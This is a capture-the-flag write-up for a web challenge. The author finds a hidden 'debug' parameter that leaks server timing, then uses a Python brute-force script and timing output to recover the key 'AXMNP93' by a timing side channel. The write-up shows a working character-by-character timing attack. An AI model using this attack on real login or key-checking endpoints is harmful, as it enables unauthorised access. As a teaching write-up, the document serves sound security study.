After an initial look at the webpage above, I noticed a newspaper on the table with the words "Side Channel Attacks". Researching this, there are many different side channel attacks that usually involve information leaking on the structures of code or crypto-systems (this will become important later). I also found some script that the programmer left in a comment inside a javascript file for the page called "key.js" (seen below).
Knowing this information I then explored the webpage...entering a string into the black box resulted in the following:
{"response": "Wrong key.", "success": false}Fortunately from key.js I know there is also a "debug" parameter that at some point was sent in the POST request to the /gimmetv page by the developer to debug the webpage.
Sending a POST request that includes a 'debug' parameter produces some interesting results. The POST request looks like this:
'POST /gimmetv HTTP/1.1 Host: ctf.fluxfingers.net:1316 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: https://ctf.fluxfingers.net:1316/ Content-Length: 26 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache key=key%3Da%26debug%3Dtrue'...and returns a response of:
{"start": 1382474251.083596, "end": 1382474251.083652, "response": "Wrong key.", "success": false}From this we see that the server is now returning UNIX system times...we can infer this to mean the time the server received the POST request to the time it finished the request. So if you send the server a bunch of letters one at a time, the end - start time should be larger for letters that the server actually processed if they are in the string.
I quickly built the following python script to manage this POST request for me and check different alphnumeric inputs under the assumption that the string was capitalized:
import urllib, urllib2, json, string def main(): letterlist = string.ascii_uppercase + '0123456789' for letter in letterlist: url = 'https://ctf.fluxfingers.net:1316/gimmetv' values = {'key' : 'REPLACEME' + letter, 'debug' : ''} data = urllib.urlencode(values) req = urllib2.Request(url, data) response = urllib2.urlopen(req) response = json.loads(response.read()) print 'REPLACEME' + letter + ": " + str(response['end'] - response['start']) if __name__ == "__main__": main()For REPLACEME, I started with an empty string. The first run returned these results:
A: 0.100333929062 B: 7.20024108887e-05 C: 6.29425048828e-05 D: 3.50475311279e-05 E: 4.10079956055e-05 F: 3.40938568115e-05 G: 3.48091125488e-05 H: 5.60283660889e-05 I: 4.48226928711e-05 J: 3.38554382324e-05 K: 3.2901763916e-05 L: 5.00679016113e-05 M: 4.79221343994e-05 N: 5.41210174561e-05 O: 4.50611114502e-05 P: 6.89029693604e-05 Q: 5.22136688232e-05 R: 0.000123023986816 S: 0.000349998474121 T: 0.000112056732178 U: 0.000273942947388 V: 5.19752502441e-05 W: 3.48091125488e-05 X: 5.69820404053e-05 Y: 4.91142272949e-05 Z: 3.60012054443e-05 0: 5.29289245605e-05 1: 5.10215759277e-05 2: 8.51154327393e-05 3: 6.00814819336e-05 4: 7.20024108887e-05 5: 5.48362731934e-05 6: 3.48091125488e-05 7: 5.50746917725e-05 8: 3.31401824951e-05 9: 0.000118017196655The 'A' character took the longest to process, and so I added it to the REPLACEME string. Similarly, running the program again generated the next character in the string and I added it to the REPLACEME string. When the times no longer differed, I knew the string was finished.
The final result of running my program was the string "AXMNP93", entering this in the webpage returned the flag! "OH_THAT_ARTWORK!" ~ Hawkeye